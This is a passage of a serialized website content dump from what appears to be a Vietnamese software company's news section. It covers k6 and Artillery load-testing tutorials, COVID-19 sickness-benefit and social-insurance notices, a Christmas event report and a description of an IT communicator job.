",[20,3846,3839],{}," is defined in the processor.js file referenced in config.processor.",[605,3849,3852],{"className":3850,"code":3851,"language":610},[608],"# processor.js\nconst { faker } = require(\"@faker-js\u002Ffaker\");\n\nfunction setJsonBody(requestParams, context, ee, next) {\n  var body = {\n    username: faker.internet.userName(),\n    password: faker.internet.password(3),\n    email: faker.internet.exampleEmail(),\n    name: faker.name.fullName(),\n    role: faker.datatype.number({ min: 0, max: 1 }),\n  };\n\n  requestParams.json = body;\n  return next();\n}\n\nmodule.exports = {\n  setJsonBody,\n};\n",[612,3853,3851],{"__ignoreMap":66},[403,3855,3857],{"id":3856},"compare-to-k6-load-testing","Compare to K6 load testing",[11,3859,3860],{},"Artillery and k6 are both open-source tools for performance testing and have similar features such as extensibility, integration with CI\u002FCD tools, and the ability to set test patterns. However, there are some differences between them. Artillery is written in Node.js while k6 is written in Go. So, Artillery is slower than k6, because it isn't multithreaded and uses more memory. Here are the charts comparing memory usage between k6 with Artillery and other tools.",[11,3862,3863],{},"In conclusion, Artillery and k6 are both powerful tools. However, k6 has more advantages than Artillery. If you want to write a simple load test, Artillery is a good solution that uses YAML syntax.",[403,3865,3866],{"id":3476},"References",[11,3868,3869,507,3873],{},[55,3870,3871],{"href":3871,"rel":3872},"https:\u002F\u002Fwww.artillery.io\u002F",[59],[55,3874,3875],{"href":3875,"rel":3876},"https:\u002F\u002Fk6.io\u002Fblog\u002Fcomparing-best-open-source-load-testing-tools\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":3878},[3879,3885,3891,3895,3896,3897],{"id":3630,"depth":67,"text":3631,"children":3880},[3881,3882,3883,3884],{"id":3634,"depth":1306,"text":3635},{"id":3648,"depth":1306,"text":3649},{"id":3655,"depth":1306,"text":3656},{"id":3665,"depth":1306,"text":3666},{"id":3672,"depth":67,"text":3673,"children":3886},[3887,3888,3889,3890],{"id":1813,"depth":1306,"text":1816},{"id":3702,"depth":1306,"text":3703},{"id":3722,"depth":1306,"text":3723},{"id":3738,"depth":1306,"text":3739},{"id":3755,"depth":67,"text":3756,"children":3892},[3893,3894],{"id":3762,"depth":1306,"text":3763},{"id":3784,"depth":1306,"text":3785},{"id":3803,"depth":67,"text":3804},{"id":3856,"depth":67,"text":3857},{"id":3476,"depth":67,"text":3866},"2023-08-07","Performance testing is software testing that evaluates how well an application performs under different workloads. This involves measuring various metrics such as response time, bandwidth, and scalability to ensure that the application can handle the expected number of requests from users without degrading performance or crashing. Performance testing can also identify performance issues and bottlenecks, it helps you make necessary changes to optimize performance. The goal of this is to ensure that the application delivers a smooth, fast, and reliable user experience even under heavy load conditions.",{},"\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery",{"title":3625,"description":3899},"news\u002Fchay-load-test-performance-test-voi-artillery","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143246\u002Fartillery.png","L7b2ITUBfc1iRqkjETIHk1aKrl0XkfwZt61JRvabgec",{"id":3907,"title":3908,"body":3909,"category":1319,"created by":4115,"date":4116,"description":4117,"extension":72,"meta":4118,"navigation":74,"path":4119,"sections":76,"seo":4120,"stem":4121,"thumbnail":4122,"__hash__":4123},"content_en\u002Fnews\u002Fchay-load-test-voi-k6-va-postman.md","Run load test with K6 and Postman",{"type":8,"value":3910,"toc":4103},[3911,3915,3918,3921,3925,3939,3942,3945,3951,3954,3960,3963,3966,3970,3973,3976,3979,3985,3988,3994,3997,4001,4004,4007,4013,4017,4020,4023,4026,4032,4035,4041,4044,4050,4053,4059,4065,4072,4078,4082,4085,4089,4091,4097],[403,3912,3914],{"id":3913},"what-is-k6","What is K6?",[11,3916,3917],{},"Grafana k6 is an open-source load testing tool that makes performance testing easy and productive for engineering teams. Using k6, you can test the reliability and performance of your systems and catch performance regressions and problems earlier.",[11,3919,3920],{},"We can write tests directly using K6 and run them. But in this article, I will explain how to run k6 tests with the existing Postman collection. The process is straightforward to follow. Export your current Postman collection, convert them to k6 tests, and run them.",[403,3922,3924],{"id":3923},"steps-to-do","Steps to do:",[31,3926,3927,3930,3933,3936],{},[34,3928,3929],{},"Install k6",[34,3931,3932],{},"Create requests in Postman and export them",[34,3934,3935],{},"Convert Postman requests to k6 tests",[34,3937,3938],{},"Run k6 tests",[565,3940,3929],{"id":3941},"install-k6",[11,3943,3944],{},"Following the link below to install k6:",[11,3946,3947],{},[55,3948,3949],{"href":3949,"rel":3950},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fget-started\u002Finstallation\u002F",[59],[11,3952,3953],{},"Run the following command to install postman-to-k6:",[605,3955,3958],{"className":3956,"code":3957,"language":610},[608],"npm install -g postman-to-k6\n",[612,3959,3957],{"__ignoreMap":66},[565,3961,3932],{"id":3962},"create-requests-in-postman-and-export-them",[11,3964,3965],{},"Create all the requests you want to run a load test with Postman and put them into a collection. And then export the collection and save it into the project directory.",[438,3967],{"className":3968,"alt":66,"src":3969,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07083835\u002Fpostman-export-1-1536x816.png",[11,3971,3972],{},"If you use the environment variables in Postman, export it similarly. After exporting, we will have two files (postman-requests.json for the requests and postman-env.json for the environment variables) in the project folder.",[565,3974,3935],{"id":3975},"convert-postman-requests-to-k6-tests",[11,3977,3978],{},"Run the following command to convert the Postman collection to k6 tests:",[605,3980,3983],{"className":3981,"code":3982,"language":610},[608],"postman-to-k6 postman-requests.json -e postman-env.json --separate -o k6-script.js\n",[612,3984,3982],{"__ignoreMap":66},[11,3986,3987],{},"If you do not have the environment file, run the following command:",[605,3989,3992],{"className":3990,"code":3991,"language":610},[608],"postman-to-k6 postman-requests.json --separate -o k6-script.js\n",[612,3993,3991],{"__ignoreMap":66},[11,3995,3996],{},"After running the command to convert to k6 tests, the result file k6-script.js will be generated like below:",[438,3998],{"className":3999,"alt":66,"src":4000,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07100004\u002Fk6-script.png",[565,4002,3938],{"id":4003},"run-k6-tests",[11,4005,4006],{},"To run tests, use the following command:",[605,4008,4011],{"className":4009,"code":4010,"language":610},[608],"k6 run k6-script.js\n",[612,4012,4010],{"__ignoreMap":66},[438,4014],{"className":4015,"alt":66,"src":4016,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07084839\u002Fk6-result-1024x624.png",[11,4018,4019],{},"After running the test, the test results will be printed on the console. We can see statistics such as the total number of requests, the number of requests per second, the number of failed requests, etc.",[11,4021,4022],{},"We can adjust the options variable in the script to decrease\u002Fincrease the number of concurrent users, the test duration, and many other conditions.",[11,4024,4025],{},"For example, to run tests with 100 concurrent users in 30 seconds.",[605,4027,4030],{"className":4028,"code":4029,"language":610},[608],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 100, \n       duration: \"30s\" \n    }\n  }\n};\n",[612,4031,4029],{"__ignoreMap":66},[11,4033,4034],{},"For example, to run tests with 500 concurrent users in 60 seconds.",[605,4036,4039],{"className":4037,"code":4038,"language":610},[608],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 500, \n       duration: \"60s\" \n    }\n  }\n};\n",[612,4040,4038],{"__ignoreMap":66},[11,4042,4043],{},"For example, to run tests with 10 concurrent users, each user executes 20 iterations in a maximum duration of 30 seconds.",[605,4045,4048],{"className":4046,"code":4047,"language":610},[608],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"per-vu-iterations\", \n       vus: 10, \n       iterations: 20, \n       maxDuration: \"30s\" \n    }\n  }\n};\n",[612,4049,4047],{"__ignoreMap":66},[11,4051,4052],{},"In addition, there are many parameters and scenarios we can use to adjust to our needs. Please refer to the links below:",[11,4054,4055],{},[55,4056,4057],{"href":4057,"rel":4058},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fjavascript-api\u002Fk6-http\u002Fparams\u002F",[59],[11,4060,4061],{},[55,4062,4063],{"href":4063,"rel":4064},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fusing-k6\u002Fscenarios\u002F",[59],[11,4066,4067,4068,4071],{},"All the requests under the ",[20,4069,4070],{},"default function()"," will be executed. If you want to run tests for a specific request, you can comment out the code of other requests. See the code snippet below:",[403,4073,4074],{"id":66},[438,4075],{"className":4076,"alt":66,"src":4077,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F11165213\u002Fcode_snippet.jpg",[403,4079,4081],{"id":4080},"compare-to-postman-collection-runner","Compare to Postman collection runner",[11,4083,4084],{},"We can also use the Postman collection runner to run load tests directly. With this function, there is no need to install extra libraries or convert code. We can create requests in Postman and run the tests. We can also change the parameters, such as Iterations\u002FDelay, to adjust to our needs. The only difference is that we can not run concurrent tests, only consecutive ones. The test results are also less detailed than when running with k6. Otherwise, if you do not have the demand to run concurrent tests or see the detailed statistics, Postman is a perfect option.",[438,4086],{"className":4087,"alt":66,"src":4088,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07090719\u002Fpostman-runner-1024x549.png",[403,4090,3866],{"id":3476},[11,4092,4093],{},[55,4094,4095],{"href":4095,"rel":4096},"https:\u002F\u002Fk6.io\u002Fdocs\u002F",[59],[11,4098,4099],{},[55,4100,4101],{"href":4101,"rel":4102},"https:\u002F\u002Fk6.io\u002Fblog\u002Fload-testing-with-postman-collections\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":4104},[4105,4106,4112,4113,4114],{"id":3913,"depth":67,"text":3914},{"id":3923,"depth":67,"text":3924,"children":4107},[4108,4109,4110,4111],{"id":3941,"depth":1306,"text":3929},{"id":3962,"depth":1306,"text":3932},{"id":3975,"depth":1306,"text":3935},{"id":4003,"depth":1306,"text":3938},{"id":66,"depth":67,"text":66},{"id":4080,"depth":67,"text":4081},{"id":3476,"depth":67,"text":3866},"KHUYEN DO TIEP","2022-12-15","What is K6? Grafana k6 is an open-source load testing tool that makes performance testing easy and productive for engineering teams. Using k6, you can test the reliability and performance of your systems and catch performance regressions and problems earlier.",{},"\u002Fnews\u002Fchay-load-test-voi-k6-va-postman",{"title":3908,"description":4117},"news\u002Fchay-load-test-voi-k6-va-postman","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F06154519\u002Fk6.png","RBd3MpHcnkXF8HH9gjx_FQyRumJha_PYAWkp-QuyEkc",{"id":4125,"title":4126,"body":4127,"category":69,"created by":70,"date":4180,"description":4181,"extension":72,"meta":4182,"navigation":74,"path":4183,"sections":76,"seo":4184,"stem":4185,"thumbnail":4186,"__hash__":4187},"content_en\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha.md","SICKNESS BENEFIT FOR EMPLOYEES GET COVID-19 ISOLATION AT HOME",{"type":8,"value":4128,"toc":4178},[4129,4132,4135,4138,4141,4144,4155,4158,4161,4164,4167],[11,4130,4131],{},"The pandemic situation is still complicated and the number of new infections still increasing every day, health centers and field hospitals is overloaded and under a lot of pressure.",[11,4133,4134],{},"From July 14, 2021, the Ministry of Health has officially implemented allowing F0 without symptoms and F0 with mild symptoms to be isolated at home.",[11,4136,4137],{},"Isolation at home is aimed at creating favorable conditions and better living conditions during the isolation period, as well as reducing overcrowding in the health centers and field hospitals. However, employees isolated at home will not receive a discharge record or the certificate of social insurance issued by the health centers and field hospitals.",[11,4139,4140],{},"So, what should employees do when isolated at home?",[11,4142,4143],{},"The certification criteria for the social insurance agency to assess the payment of sickness benefits include:",[31,4145,4146,4149,4152],{},[34,4147,4148],{},"Employee’s information (full name, date of birth).",[34,4150,4151],{},"Isolation for treatment due to covid-19 infection.",[34,4153,4154],{},"Duration of treatment\u002Fisolation at home (isolation from which day to which day).",[11,4156,4157],{},"Therefore, when discovering that you have been positive for Covid-19, employees should immediately notify the health station to be recorded as F0 and receive specific instructions.",[11,4159,4160],{},"If the employee is subject to home isolation, then after 14 days, the employee needs to go to the health station to take a quick test for covid-19 again.",[11,4162,4163],{},"When have the result is negative, the employee will be issued a certificate of completion of isolation by the health station.",[11,4165,4166],{},"Employees need to prepare the following documents to send to the company to receive sickness benefits:",[31,4168,4169,4172,4175],{},[34,4170,4171],{},"Certificate of completion of medical supervision\u002Fisolation period (signed by a doctor and stamp by health center).",[34,4173,4174],{},"Certificate of negative test result (signed by a doctor and stamp by health center).",[34,4176,4177],{},"Or certificate PCR test results (if any).",{"title":66,"searchDepth":67,"depth":67,"links":4179},[],"2021-12-08","The pandemic situation is still complicated and the number of new infections still increasing every day, health centers and field hospitals is overloaded and under a lot of pressure. From July 14, 2021, the Ministry of Health has officially implemented allowing F0 without symptoms and F0 with mild symptoms to be isolated at home.",{},"\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha",{"title":4126,"description":4181},"news\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F21165927\u002Fimage_F0_isolation_at_home.png","fBM-scf5yyz98XuowyhicDKVlSXlmVFS7iIhthWAszA",{"id":4189,"title":4190,"body":4191,"category":69,"created by":70,"date":4258,"description":4259,"extension":72,"meta":4260,"navigation":74,"path":4261,"sections":76,"seo":4262,"stem":4263,"thumbnail":4264,"__hash__":4265},"content_en\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021.md","NEW POLICY: MORE OPTIONS TO LOOK UP THE PROCESS OF PARTICIPATION IN SOCIAL INSURANCE, HEALTH INSURANCE AND UNEMPLOYMENT INSURANCE TAKES EFFECT FROM  JUNE 2021",{"type":8,"value":4192,"toc":4256},[4193,4196,4199,4210,4213,4221,4224,4235,4238,4242,4249],[11,4194,4195],{},"The Government has issued Decree 43\u002F2021\u002FND-CP regulating the National Database on Insurance. This Decree takes effect from 01\u002F06\u002F2021.",[11,4197,4198],{},"This database has a lot of information related to the Social Insurance (SI), Health Insurance (HI) and Unemployment Insurance (UI) of the participants, specifically as follows:",[31,4200,4201,4204,4207],{},[34,4202,4203],{},"Regarding HI: code of benefit level; type of object; place of initial medical examination and treatment; expiration time; the time of full 05 consecutive years of participation; the process of paying and receiving;",[34,4205,4206],{},"Regarding SI: SI code; code of participant management unit; management SI agency; method of payment; a process of paying and receiving SI, occupational accidents insurance, occupational diseases... and much other information on the National Database on Insurance.",[34,4208,4209],{},"Regarding UI: the process of paying and enjoying; the period of UI premium payment shall be reserved as a basis for calculating the period of enjoying UI benefits.",[11,4211,4212],{},"Individuals are allowed to:",[31,4214,4215,4218],{},[34,4216,4217],{},"Exploiting and using the information in the National Database on Insurance;",[34,4219,4220],{},"Export your information, the exported data is digitally signed by Vietnam Social Security and is valid as a written confirmation of the competent authority.",[11,4222,4223],{},"Thus, in addition to the ways to look up the process of participating in SI, HI and UI currently applied such as:",[31,4225,4226,4229,4232],{},[34,4227,4228],{},"Via the website of Vietnam Social Insurance;",[34,4230,4231],{},"Via SMS to the number 8079;",[34,4233,4234],{},"Via VssID App.",[11,4236,4237],{},"In the near future, participants will have another way to search through the National Database on Insurance.",[11,4239,4240],{},[51,4241,201],{},[11,4243,4244],{},[55,4245,4248],{"href":4246,"rel":4247},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-43-2021-ND-CP-Co-so-du-lieu-quoc-gia-ve-Bao-hiem-451609.aspx",[59],"Decree 43\u002F2021\u002FND-CP",[11,4250,4251],{},[55,4252,4255],{"href":4253,"rel":4254},"https:\u002F\u002Fbriswell-vn.com\u002Fen\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so\u002F",[59],"Tutorial register electronic transaction accounts to use the VssID application – digital social insurance",{"title":66,"searchDepth":67,"depth":67,"links":4257},[],"2021-07-30","The Government has issued Decree 43\u002F2021\u002FND-CP regulating the National Database on Insurance. This Decree takes effect from 01\u002F06\u002F2021. This database has a lot of information related to the Social Insurance (SI), Health Insurance (HI) and Unemployment Insurance (UI) of the participants, specifically as follows",{},"\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021",{"title":4190,"description":4259},"news\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18102129\u002FChinhSachMoiThang62021.png","3wlYV-8v8qkuyzjRoOAxg45ZL6_a2gmeM2YtXoQpG10",{"id":4267,"title":4268,"body":4269,"category":3032,"created by":4334,"date":4335,"description":4273,"extension":72,"meta":4336,"navigation":74,"path":4337,"sections":76,"seo":4338,"stem":4339,"thumbnail":4340,"__hash__":4341},"content_en\u002Fnews\u002Fcompany-event-thang-12-2023.md","Company Event in 12\u002F2023",{"type":8,"value":4270,"toc":4332},[4271,4274,4277,4281,4284,4288,4291,4295,4298,4302,4305,4313,4321,4329],[11,4272,4273],{},"The year-end magic of Christmas has arrived, bringing with it a wonderland of sparkling spaces and vibrant cheer. To fully embrace this joyful atmosphere, Briswell Vietnam hosted a special Christmas event for all our employees, to immerse themselves in the festive spirit.",[11,4275,4276],{},"The event's space was adorned with warm, twinkling lights, classic Christmas hues of red and green, and familiar symbols like jolly Santa and towering Christmas trees. This cozy and colorful scene buzzed with anticipation as everyone eagerly awaited the festivities.",[438,4278],{"className":4279,"alt":66,"src":4280,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F12\u002F02105702\u002FChristmas-tree-Edited-Edited-Edited-e1704174850223.jpg",[11,4282,4283],{},"The event unfolded with a series of engaging games, designed to bring laughter and lighthearted fun. The \"Christmas Music Game\" quickly became the highlight, its simple yet addictive gameplay drawing in everyone. Divided into teams, employees put their musical knowledge to the test, guessing song titles as festive tunes filled the air. The atmosphere crackled with friendly competition as teams showcased their musical memory and solidarity, ultimately leading to one team's triumphant win and a well-deserved prize. Adding to the Christmas cheer, all the songs were classic carols, infusing the game with an extra layer of warmth and nostalgia.",[438,4285],{"className":4286,"alt":66,"src":4287,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110238\u002FIMG_9557-1024x768.jpg",[11,4289,4290],{},"Next up was the \"Pirate Adventure,\" a thrilling battle of luck and skill. Each round saw team members using toy swords to stab pirate barrels, hoping to avoid sending the pirate figure soaring. Three rounds of suspenseful battles later, one team emerged victorious, their strategy and a touch of luck earning them a special reward. This game not only brought excitement and laughter but also fostered teamwork and a competitive spirit, creating unforgettable memories for all.",[438,4292],{"className":4293,"alt":66,"src":4294,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110654\u002Fz5014809043946_6aad3c2aac1f0c513fd27a416100c151.jpg",[11,4296,4297],{},"The office buzzed with infectious energy, filled with the sounds of laughter and joyful chatter. Everyone was actively engaged, participating in the games and soaking in the cheery spirit. The joy wasn't just about winning; it was about the sense of connection and belonging that comes from being part of a large, merry family.",[438,4299],{"className":4300,"alt":66,"src":4301,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110827\u002Ffood-1-768x827.jpg",[11,4303,4304],{},"Of course, no celebration is complete without delicious treats! The event had a spread of yummy snacks and drinks, providing the perfect fuel for fun conversations and shared laughter.",[11,4306,4307,4311],{},[438,4308],{"className":4309,"alt":66,"src":4310,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111028\u002FIMG_9550-1024x768.jpg",[473,4312],{},[11,4314,4315,4319],{},[438,4316],{"className":4317,"alt":66,"src":4318,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110938\u002FIMG_9547-768x1024.jpg",[473,4320],{},[11,4322,4323,4327],{},[438,4324],{"className":4325,"alt":66,"src":4326,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111012\u002FIMG_9552-1024x768.jpg",[473,4328],{},[11,4330,4331],{},"This wasn't just an event; it was a chance to bask in the magic of Christmas, strengthen bonds between colleagues, and create memories that will last a lifetime. As the merry time draws to a close, we at Briswell Vietnam carry the warmth of this event close to our hearts, knowing that the true joy of Christmas lies in the connections we forge and the shared moments of laughter and cheer.",{"title":66,"searchDepth":67,"depth":67,"links":4333},[],"THANH PHAM NGOC GIANG","2024-01-05",{},"\u002Fnews\u002Fcompany-event-thang-12-2023",{"title":4268,"description":4273},"news\u002Fcompany-event-thang-12-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02143531\u002FMerry-Christmas-Card-1.png","3x_at5FHPZb7vqA1COwWGZD8Jk90dxnJMAlfdolhyPA",{"id":4343,"title":4344,"body":4345,"category":262,"created by":70,"date":3130,"description":259,"extension":72,"meta":4351,"navigation":74,"path":4352,"sections":76,"seo":4353,"stem":4354,"thumbnail":4355,"__hash__":4356},"content_en\u002Fnews\u002Fcong-cu-kiem-thu.md","(日本語) テストツール",{"type":8,"value":4346,"toc":4349},[4347],[11,4348,259],{},{"title":66,"searchDepth":67,"depth":67,"links":4350},[],{},"\u002Fnews\u002Fcong-cu-kiem-thu",{"title":4344,"description":259},"news\u002Fcong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170758\u002FScreenshot-2025-02-21-170538.png","08OgvN97frnUVGbrNH8AW_9yovYuc6c1Y9Nsq_lj9Vg",{"id":4358,"title":4359,"body":4360,"category":69,"created by":70,"date":4537,"description":4538,"extension":72,"meta":4539,"navigation":74,"path":4540,"sections":76,"seo":4541,"stem":4542,"thumbnail":4543,"__hash__":4544},"content_en\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam.md","CHECK OUT IT-COM POSITION AT BRISWELL VIETNAM",{"type":8,"value":4361,"toc":4535},[4362,4365,4368,4384,4387,4393,4400,4406,4409,4426,4429,4446,4452,4458,4463,4468,4474,4509,4515,4518,4525,4528],[11,4363,4364],{},"Recent years, along with the rapid development of the IT (Information Technology) industry, the demand for human resources for the IT industry such as developer, etc. has also increased. Especially in developed countries like Japan.",[11,4366,4367],{},"More and more Japanese software development companies are exploiting IT personnel from developing countries like Vietnam under the form of Outsourcing or building offshore companies.",[765,4369,4371,4372,4371,4380],{"style":4370},"display:flex; gap:24px; align-items:flex-start;","\n  ",[765,4373,4375,4376,4371],{"style":4374},"width:40%;","\n    ",[438,4377],{"src":4378,"alt":66,"style":4379},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02163009\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%891-768x432.jpg","width:100%; height:auto;",[765,4381,4383],{"style":4382},"width:60%;","\n    But there's a problem. Developers who know Japanese are very few and Japanese people rarely use foreign languages to work. In order for Vietnamese developer and Japanese project managers, customers to understand each other, it is necessary to have someone who is proficient in both Japanese and Vietnamese languages, and also IT's business. That person is IT-COM.\n  ",[11,4385,4386],{},"Perhaps people are not too unfamiliar with this phrase so far. Briswell Vietnam is one of the offshore IT companies in Vietnam with headquarters in Tokyo, Japan. Let's find out who IT-COM is, and the special things of IT-COM in our company.",[1693,4388,4390],{"id":4389},"_1-who-is-it-com",[20,4391,4392],{},"1. Who is IT-COM?",[11,4394,4395,4396],{},"IT-COM is an acronym for Information Technology Communicator, also known as IT-Comter. IT-COM is the person standing between Japanese developers, project managers, customers (hereinafter referred to as the Japanese side) and Vietnamese developers, development leader (hereinafter referred to as the Vietnamese side) to help the two sides communicate and work together.\n",[438,4397],{"className":4398,"alt":66,"src":4399,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F03\u002F26143951\u002Fit_com-1-768x356.png",[1693,4401,4403],{"id":4402},"_2-what-is-the-job-of-an-it-com-and-what-does-it-com-at-briswell-vietnam-do",[20,4404,4405],{},"2. What is the job of an IT-COM and what does IT-COM at Briswell Vietnam do?",[11,4407,4408],{},"Each company has its own requirements for the job of an IT-COM. However, an IT-COM will have to do the following basic tasks:",[31,4410,4411,4414,4417,4420,4423],{},[34,4412,4413],{},"Translate project design files such as DB design, screen design, API design, etc.",[34,4415,4416],{},"Interpret in meetings with the Japanese side",[34,4418,4419],{},"Secretary to record meetings (and translate notes)",[34,4421,4422],{},"Translate questions, answer  of Vietnamese side and Japanese side",[34,4424,4425],{},"Translate feedback (bug, etc) from the Japanese side",[11,4427,4428],{},"At Briswell Vietnam, IT-COM will take on the following additional tasks:",[31,4430,4431,4434,4437,4440,4443],{},[34,4432,4433],{},"Understand the business logic and explain to the developers when needed",[34,4435,4436],{},"Create test condition for unit test and integration test based on design",[34,4438,4439],{},"Implement unit test and integration test",[34,4441,4442],{},"Manage and report project progress when needed",[34,4444,4445],{},"Create design document of database, API, screen, report, batch based on requirement",[11,4447,4448,4451],{},[20,4449,4450],{},"Q:"," Why does Briswell Vietnam require IT-COM to understand the project business?",[11,4453,4454,4457],{},[20,4455,4456],{},"A:"," Because at Briswell Vietnam, IT-COM plays a very important role. Whether the project runs smoothly or not, whether the project is successful or not, the role of IT-COM is also one of the deciding factors.  If an IT-COM only translate like a machine but doesn't fully grasp the project's business, the communication will only stop at the level of word by word translation. So, such rough translation will cause Vietnamese developers consume more time to understand or confirm the request. Only when understands the project, IT-COM can properly and quickly translate Japanese side's main idea for Vietnamese side and vice versa. Tasks such as creating test condition, implement test are not only useful for understanding the business of the project but also useful for learning more about IT knowledge.",[11,4459,4460,4462],{},[20,4461,4450],{}," Is it a bit too much for an IT-COM to do things like creating test-condition, implement test?",[11,4464,4465,4467],{},[20,4466,4456],{}," Most IT-COM are linguistic major, so it may be difficult to get in touch with a major like IT for the first time. However, at Briswell Vietnam, you will be trained to become an IT-COM methodically from zero. As long as you have determination and really serious about your work, do  not worry too much.",[1693,4469,4471],{"id":4470},"_3-what-abilities-and-skills-does-we-look-for-in-an-it-com",[20,4472,4473],{},"3. What abilities and skills does we look for in an IT-COM?",[765,4475,4371,4476,4503],{"style":4370},[765,4477,4479,4480],{"style":4478},"width:70%;","\nIf you want to work as an IT-COM in our company, we are looking for the following abilities, skills and mindset:\n",[31,4481,4482,4485,4488,4491,4494,4497,4500],{},[34,4483,4484],{},"Japanese level equivalent to N2 or higher.",[34,4486,4487],{},"Can talk directly or chat with the Japanese person in charge to confirm and  propose about specifications of application development.",[34,4489,4490],{},"Want to work in the IT field.",[34,4492,4493],{},"Must clarify what partner want to do, understand clearly to respond.",[34,4495,4496],{},"Understand your current self to improve.",[34,4498,4499],{},"Have a sense of responsibility and implement about deadlines ad commitment.",[34,4501,4502],{},"Enjoy focusing on the results of the team, not individual.",[765,4504,4371,4506],{"style":4505},"width:30%;",[438,4507],{"src":4508,"alt":66,"style":4379},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164355\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%893-768x432.jpg",[1693,4510,4512],{"id":4511},"_4-how-to-become-an-excellent-it-com",[20,4513,4514],{},"4. How to become an excellent IT-COM?",[11,4516,4517],{},"In addition to the above, what is the most important thing to become an excellent IT-COM? Revealing from senior IT-COM at Briswell Vietnam, the secret is self-study. Perhaps not only for IT-COM but in any filed, self-study and self-training to improve skills is the most important thing. And to do that, you must be really serious and passionate with your job.",[11,4519,4520,4521],{},"Experience is an important element too. No one can be good at the first time. So take it easy, give it your best shot, and learn from your failure and successes. It's also important to learn from those who have come before us, but isn't it the best way to experience and enlighten it yourself.\n",[438,4522],{"className":4523,"alt":66,"src":4524,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164848\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%894-768x432.jpg",[11,4526,4527],{},"Hope this essay has been able to help you understand the work of an IT-COM at Briswell Vietnam. Wishing you good health and see you in the next 